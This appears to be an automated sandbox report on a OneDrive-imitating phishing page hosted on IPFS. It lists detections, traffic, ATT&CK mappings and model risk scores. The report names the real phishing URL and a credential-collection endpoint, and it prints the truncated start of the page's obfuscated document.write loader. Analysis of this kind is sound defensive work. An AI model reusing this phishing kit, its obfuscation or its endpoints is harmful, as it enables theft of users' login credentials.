Edit tour

Windows Analysis Report
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

Overview

General Information

Sample URL:	http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/
Analysis ID:	1446877
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected HtmlPhish10

AI detected suspicious javascript

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML title does not match URL

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2080 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2484,i,13484271707041999364,4180294912672599584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	Avira URL Cloud: detection malicious, Label: phishing
Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css

Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

LLM: Score: 9 brands: OneDrive Reasons: The URL is highly suspicious as it does not match the legitimate domain for OneDrive (which is onedrive.live.com). The use of an IPFS (InterPlanetary File System) URL is unusual for a legitimate service like OneDrive. The page mimics the OneDrive interface, which is a common social engineering technique used in phishing attacks to deceive users into thinking they are on a legitimate site. DOM: 0.0.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

AI detected suspicious javascript

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	LLM: Score: 7 Reasons: The JavaScript code uses 'document.write' with 'unescape' to inject a large block of HTML into the document. This technique can be used to obfuscate malicious content or phishing attempts. Additionally, the inclusion of external stylesheets from potentially untrusted sources (e.g., officedocuments.com.ng) raises concerns about the integrity and safety of the content being loaded. DOM: 0.0.pages.csv
Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	LLM: Score: 9 Reasons: The JavaScript code contains several red flags indicative of malicious activity: 1) It captures and sends form data, including potentially sensitive information like passwords, to an external URL (https://lavinosuae.com/yeh.php), which is a common tactic used in phishing attacks. 2) The code manipulates the DOM to display error messages and clear password fields, which can be used to trick users into repeatedly entering their credentials. 3) The code also includes commented-out sections that redirect users to a legitimate site (https://onedrive.com/), which is a common technique to make the malicious site appear more legitimate. DOM: 0.0.pages.csv

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: Number of links: 0

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: Total embedded image size: 627461

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: Title: My Files - OneDrive does not match URL

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: Invalid link: Sites help you work on projects with your team and share information from anywhere on any device. Create or follow sites to see them here.

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: Has password / email / username input fields

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: <input type="password" .../> found

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: No <meta name="author".. found

Source: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1Host: bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.comConnection: keep-aliveOrigin: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=muvVP1KphtYtuo_loSEnHNzM4ZtDhTcMpJC6PrnAJV4-1716503173-1.0.1.1-76Om5iivMlEhd7837zD_OOjj5WUN1U4x4S5YtdNd7mG9fjkI87ziDqGeAZzXtWotIQlteB9bVd7G_os3znWElw

Source: global traffic	DNS traffic detected: DNS query: bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: officedocuments.com.ng
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 22:26:14 GMTContent-Type: text/plain; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 88887764ad8842b0-EWRCF-Cache-Status: EXPIREDAccess-Control-Allow-Origin: *Cache-Control: no-storeVary: Accept-Encodingaccess-control-allow-headers: Content-Typeaccess-control-allow-headers: Rangeaccess-control-allow-headers: User-Agentaccess-control-allow-headers: X-Requested-Withaccess-control-allow-methods: GETaccess-control-expose-headers: Content-Lengthaccess-control-expose-headers: Content-Rangeaccess-control-expose-headers: X-Chunked-Outputaccess-control-expose-headers: X-Ipfs-Pathaccess-control-expose-headers: X-Ipfs-Rootsaccess-control-expose-headers: X-Stream-Outputx-cf-ipfs-cache-status: missx-content-type-options: nosniffx-ipfs-path: /ipfs/bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu/cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssServer: cloudflareContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 61 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a4 ce 4b 12 82 30 0c 00 d0 bd a7 c8 b8 b7 19 45 65 c6 db f4 93 4a 21 6d 84 50 0a b7 f7 02 ee bc c0 9b 17 6d 62 0a b0 0a 2c a4 c2 1b 01 a6 4f 54 74 36 1e 8e 92 3f 44 6a 37 f7 d3 c3 65 be 0f fb cd cf 47 ea 8f 75 ec 9f 9b 9f de f7 21 52 dd 76 d7 f6 a1 ab ad 9b 79 68 ad a2 0f 65 54 e3 59 6a 88 6c 17 32 5e 32 da d1 ee c8 c9 29 46 29 eb c5 36 52 c9 84 4f 73 35 57 f4 aa 68 99 4d 4e c5 78 d5 17 14 01 4e 65 82 62 33 05 38 ff 12 cf 50 4b a0 05 fe 98 9e be 00 00 00 ff ff 0d 0a 61 0d 0a 03 00 Data Ascii: a5K0EeJ!mPmb,OTt6?Dj7eGu!RvyheTYjl2^2)F)6ROs5WhMNxNeb38PKa

Source: chromecache_44.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_44.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.win@16/9@9/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2484,i,13484271707041999364,4180294912672599584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2484,i,13484271707041999364,4180294912672599584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	100%	Avira URL Cloud	phishing
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://getbootstrap.com/)	0%	URL Reputation	safe
https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/blob/main/LICENSE)	0%	Avira URL Cloud	safe
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	unknown
part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
cloudflare-ipfs.com	104.17.64.14	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
officedocuments.com.ng	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	true		unknown
http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css	false	Avira URL Cloud: phishing	unknown
https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://getbootstrap.com/)	chromecache_44.2.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_44.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.43	part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.64.14	cloudflare-ipfs.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446877
Start date and time:	2024-05-24 00:25:22 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@16/9@9/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.186.78, 172.253.122.84, 34.104.35.123, 172.217.16.138, 142.250.186.42, 216.58.206.74, 172.217.23.106, 142.250.186.106, 142.250.181.234, 142.250.185.202, 172.217.18.10, 142.250.186.170, 142.250.186.138, 172.217.16.202, 142.250.184.234, 142.250.186.74, 142.250.184.202, 142.250.185.234, 142.250.185.170, 40.127.169.103, 93.184.221.240, 192.229.221.95, 13.95.31.18, 20.166.126.56, 142.250.184.195
Excluded domains from analysis (whitelisted): logincdn.msauth.net, lgincdnmsftuswe2.azureedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/

Input	Output
URL: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/ Model: gpt-4o	```json { "riskscore": 7, "reasons": "The JavaScript code uses 'document.write' with 'unescape' to inject a large block of HTML into the document. This technique can be used to obfuscate malicious content or phishing attempts. Additionally, the inclusion of external stylesheets from potentially untrusted sources (e.g., officedocuments.com.ng) raises concerns about the integrity and safety of the content being loaded." }
document.write(unescape('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3Dedge%22%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1.0%22%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css%22%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//officedocuments.com.ng/drive/w3.css%22%3E%0A%20%20%20%20%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22data%3Aimage/png%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAPcAAACWCAYAAAACJB6sAAAPJ3pUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHjarZl9lhshDsT/5xR7BASIj+MAgvf2Bnv8/antmSSTZJO3u+PYbbfbNEilqhIJ51//vOEf/OXeeijaeh21Rv7KKCNN3vT4+pvPq8TyvD5/t72/kx/Ph1HfXyROZY759bG/z8vHefkc4HWYvNPvBur7/cX68YtR3uP3LwO9b5R9Rok39jGj90A5vb6Q9wDztaxYR2/fL2Gd1/H9+1cYeAZ/WR9n9X3xl8+lET1T7pNTOlly5DXl8ppA9mcKefKm8soHLmTKvOfS54y8Z0JAfhWn+N2swtesfL77kpWxfp2UXF9XBE78GMz6efzledFfBz88If7uznm/36Ufz5/8Lb7fB9mf91oP957X6maphLS+F/WxxOcdF7Kwkp+fVR6Np/K+PY/BowfQu0m5xR0Xjy1DErG+UsRkypXzHLdspljSSY1jSptM+LemeWxpp5xjIUPGH3NTyyJY72dqkN3M2fc5FnvuO53ZbOjc24cokDCav9Kf/z+O3A93rkBfx